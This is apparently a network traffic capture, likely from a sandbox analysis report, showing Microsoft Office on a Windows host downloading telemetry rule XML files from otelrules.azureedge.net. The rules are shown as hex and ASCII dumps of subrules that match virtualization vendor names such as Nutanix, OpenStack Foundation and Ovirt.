2024-10-29 12:08:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 3802ff33-701e-0001-4310-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-r197bdfb6b466qclztvgs64z10000000084g000000003uzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-16849878b78wv88bk51myq5vxc00000006p000000000h16g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 86dc56c9-201e-00aa-5987-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-15b8d89586f5s5nz3ffrgxn5ac0000000770000000004nyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120828Z-16849878b78g2m84h2v9sta29000000005bg00000000cng0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120829Z-16849878b78tg5n42kspfr0x4800000006gg000000008c3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120829Z-16849878b78qfbkc5yywmsbg0c000000062000000000g3ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b78km6fmmkbenhx76n00000005xg000000003av6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b78qg9mlz11wgn0wcc000000063g000000007a2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b78j7llf5vkyvvcehs00000007gg00000000e9xw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b782d4lwcu6h6gmxnw0000000670000000005vhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 923d4e42-a01e-003d-2e31-2798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-r197bdfb6b4grkz4xgvkar0zcs0000000620000000008psn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
